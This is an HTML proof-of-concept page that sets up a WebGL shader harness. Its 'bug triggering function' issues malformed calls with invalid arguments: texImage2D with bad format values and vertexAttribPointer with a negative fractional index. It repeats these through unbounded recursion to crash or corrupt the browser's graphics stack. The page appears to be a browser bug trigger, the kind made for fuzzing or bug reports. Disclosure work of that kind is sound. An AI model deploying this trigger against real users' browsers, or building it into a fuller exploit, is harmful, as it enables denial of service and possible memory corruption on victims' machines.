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poc.html
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<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<title>POC</title>
</head>
<script>
var ShaderHeaderAddition;
var mShaderHeaderLines = [0,0];
var added_lines = 0;
var newMode = 1;
ShaderHeaderAddition = "";
ShaderHeaderAdditionLines = 0;
var mDerivatives = 0;
var mShaderTextureLOD = 0;
if (newMode)
{
mDerivatives = 1;
mShaderTextureLOD = 1;
}
if( mDerivatives ) { ShaderHeaderAddition += "#ifdef GL_OES_standard_derivatives\n#extension GL_OES_standard_derivatives : enable\n#endif\n"; ShaderHeaderAdditionLines+=3; }
if( mShaderTextureLOD ) { ShaderHeaderAddition += "#extension GL_EXT_shader_texture_lod : enable\n"; ShaderHeaderAdditionLines++; }
ShaderHeaderAddition += "#ifdef GL_ES\n"+
"precision highp float;\n"+
"precision highp int;\n"+
"#endif\n";
ShaderHeaderAdditionLines += 4;
var sheader_end = "\n\nvoid main() { mainImage(gl_FragColor.xyzw, gl_FragCoord.xy); } ";
var new_vertex_shader = "";
if (newMode)
{
ShaderHeaderAddition = "#version 300 es\n"+
"#ifdef GL_ES\n"+
"precision highp float;\n"+
"precision highp int;\n"+
"precision mediump sampler3D;\n"+
"#endif\n";
ShaderHeaderAdditionLines = 6;
sheader_end = "\nout vec4 outColor;\n" +
"\nvoid main( void )\n" +
"{" +
"vec4 color = vec4(0.0,0.0,0.0,1.0);" +
"mainImage( color, gl_FragCoord.xy );" +
"outColor = color; }";
new_vertex_shader = "#version 300 es\n"+
"layout(location = 0) in vec2 position; void main() { gl_Position = vec4(position.xy,0.0,1.0); }";
}
var sheader = "";
sheader += "";
function CalcErrLine(ErrorLine)
{
return 0;
}
var ShaderStuff = function () {
if (window.WebGLRenderingContext) {
this.init();
} else {
console.error('You need a WebGL browser: Try get.webgl.org');
}
};
ShaderStuff.prototype = {
constructor: ShaderStuff.prototype,
mouse: new Float32Array(2),
textures: [],
width: 320,
height: 240,
_ready: false,
_pause: false,
_VS:0,
_FS: 0,
_PROGRAM: 0,
_CANVAS: 0,
_vertexShader: [
'attribute vec2 position;',
'void main() {',
' gl_Position = vec4( position, 0.0, 1.0 );',
'}'],
_fragmentShader: [
'void mainImage( out vec4 fragColor, in vec2 fragCoord ) { fragColor.rgb = vec3( 0.5 + 0.5 * cos( iGlobalTime ) ); }',
'void main() {',
' vec4 color = vec4( 0.0, 0.0, 0.0, 1.0 );',
' mainImage( color, gl_FragCoord.xy );',
' gl_FragColor = color;',
'}'],
_createProgram: function (vertexShader, fragmentShader) {
var vs = this._createShader(vertexShader, this.gl.VERTEX_SHADER);
var fs = this._createShader(fragmentShader, this.gl.FRAGMENT_SHADER);
var program = this.gl.createProgram();
this.gl.attachShader(program, vs);
this.gl.attachShader(program, fs);
this.gl.linkProgram(program);
this._VS = vs;
this._FS = fs;
this._PROGRAM = program;
return program;
},
_createShader: function (str, type) {
var shader = this.gl.createShader(type);
this.gl.shaderSource(shader, str);
this.gl.compileShader(shader);
var compiled = this.gl.getShaderParameter(shader, this.gl.COMPILE_STATUS);
if (!compiled) {
console.error('Error compiling shader');
this.gl.deleteShader(shader);
return null;
}
return shader;
},
_createTexture: function (index) {
this.gl.activeTexture(this.gl.TEXTURE0 + (index));
var texture = this.gl.createTexture();
this.gl.bindTexture(this.gl.TEXTURE_2D, texture);
this.gl.texImage2D(this.gl.TEXTURE_2D, 0, this.gl.RGBA, 1, 1, 0, this.gl.RGBA, this.gl.UNSIGNED_BYTE, new Uint8Array([0, 255, 255, 255]));
return texture;
},
_updateTexture: function (buf, index) {
if (this.textures[index]) {
this.gl.deleteTexture(this.textures[index]);
delete this.textures[index];
this._updateTexture(buf, index);
} else {
this.textures[index] = this._createTexture(index);
this.gl.activeTexture(this.gl.TEXTURE0 + (index));
this.gl.bindTexture(this.gl.TEXTURE_2D, this.textures[index]);
this.gl.pixelStorei(this.gl.UNPACK_FLIP_Y_WEBGL, true);
this.gl.texImage2D(this.gl.TEXTURE_2D, 0, this.gl.RGBA, this.gl.RGBA, this.gl.UNSIGNED_BYTE, buf);
if (this._isPowerOf2(buf.width) && this._isPowerOf2(buf.height)) {
this.gl.generateMipmap(this.gl.TEXTURE_2D);
} else {
this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_WRAP_S, this.gl.REPEAT);
this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_WRAP_T, this.gl.REPEAT);
this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_MAG_FILTER, this.gl.LINEAR);
this.gl.texParameteri(this.gl.TEXTURE_2D, this.gl.TEXTURE_MIN_FILTER, this.gl.LINEAR_MIPMAP_LINEAR);
}
}
},
_getAttribute: function (name) {
if (!this.program.atttributes) {
this.program.atttributes = {};
}
if (!this.program.atttributes[name]) {
this.program.atttributes[name] = this.gl.getAttribLocation(this.program, name);
}
return this.program.atttributes[name];
},
_isPowerOf2: function (value) {
return (value & (value - 1)) === 0;
},
init: function () {
var canvas = document.createElement('canvas');
canvas.width = this.width;
canvas.height = this.height;
document.body.appendChild(canvas);
this._CANVAS = canvas;
if (newMode)
this.gl = canvas.getContext('webgl2');
else
this.gl = canvas.getContext('webgl');
if (!this.gl)
{
console.log("### USING OLD WEBGL MODE###");
newMode = 0;
this.gl = canvas.getContext('webgl');
}
if (!this.gl) {
console.error('Couldn\'t start WebGL ');
}
try
{
this.gl.getExtension('OES_texture_float');
this.gl.getExtension('OES_standard_derivatives');
this.gl.getExtension('OES_float_linear');
this.gl.getExtension('OES_half_float_linear');
} catch(e) { }
var quad = new Float32Array([-1.0, -1.0, 1.0, -1.0, -1.0, 1.0, -1.0, 1.0, 1.0, -1.0, 1.0, 1.0]);
var buffer = this.gl.createBuffer();
this.gl.bindBuffer(this.gl.ARRAY_BUFFER, buffer);
this.gl.bufferData(this.gl.ARRAY_BUFFER, quad, this.gl.STATIC_DRAW);
},
loadFragmentFromBuff: function (buff) {
this._ready = false;
this.writeFragment2(buff);
},
loadImage: function (url, index) {
var self = this;
this.index = index;
var image = new Image();
image.src = url;
image.index = index || 0;
image.onload = function () {
self._updateTexture(image, this.index);
};
},
writeFragment: function (str) {
this._ready = false;
this._fragmentShader[8] = str;
var program = this._createProgram(this._vertexShader.join('\n'), this._fragmentShader.join('\n'));
this.useProgram(program);
},
writeFragment2: function (str) {
this._ready = false;
var channels = "";
var add_lines = ShaderHeaderAddition + sheader + channels;
added_lines = add_lines.split(/\r\n|\r|\n/).length;
var fragment_shader = ShaderHeaderAddition + sheader + channels + str + sheader_end;
if (newMode)
var program = this._createProgram(new_vertex_shader, fragment_shader);
else
var program = this._createProgram(this._vertexShader.join('\n'), fragment_shader);
this.useProgram(program);
},
useProgram: function (program) {
this.program = program;
this.gl.useProgram(this.program);
this.gl.enableVertexAttribArray(this._getAttribute('position'));
this.gl.vertexAttribPointer(this._getAttribute('position'), 2, this.gl.FLOAT, false, 0, 0);
this.startTime = Date.now();
this._ready = true;
},
};
</script>
<script>
let shader_data = `void mainImage ( out vec4 f, in vec2 df ) { f += 0.1; }`;
var ImageData2 = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAAAAADhZOFXAAAACXBIWXMAAAsTAAALEwEAmpwYAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAAZ0lEQVR42mJgaFBbINChuwIggBj2Oz1IOOH1MgMggBiMN4j3W+2QmwEQQAwf8y8E/iy/EQEQQEzKMvFRgryB3gABxHDG9232EbenKQABxGC/R3G2+WbpyQABxPCv+k7M15IroQABBgAZ8B60eaEoLgAAAABJRU5ErkJggg==";
var renderer;
var run_shader = true;
var canvas_elem = false;
var img = false;
function init() {
// init functions
renderer = new ShaderStuff();
canvas_elem = renderer._CANVAS;
renderer.loadImage(ImageData2, 0);
renderer.loadFragmentFromBuff(shader_data);
//debugger;
update();
}
// everything above are init functions and helpers
//
// bug triggering function
//
function update() {
// trigger function
var gl1 = renderer.gl;
var buffer2 = gl1.createBuffer();
gl1.bindBuffer(gl1.ARRAY_BUFFER, buffer2);
gl1.drawArrays(gl1.LINES, 0, 4);
var pixels = new Uint8Array(gl1.drawingBufferWidth * gl1.drawingBufferHeight * 4);
gl1.texImage2D(gl1.TEXTURE_2D , 0 , 0x1 , 0x1 , 1 , 1 , gl1.DRAW_BUFFER1 , gl1.BYTE , pixels );
// seems to trigger only when first param is (-1, 1)
gl1.vertexAttribPointer(-0.9, 4, gl1.UNSIGNED_BYTE, false, 1, 255);
gl1.drawArrays(gl1.TRIANGLES, 0, 6);
// recurisivty needed
update();
}
</script>
<body onload="init();"></body>
</html>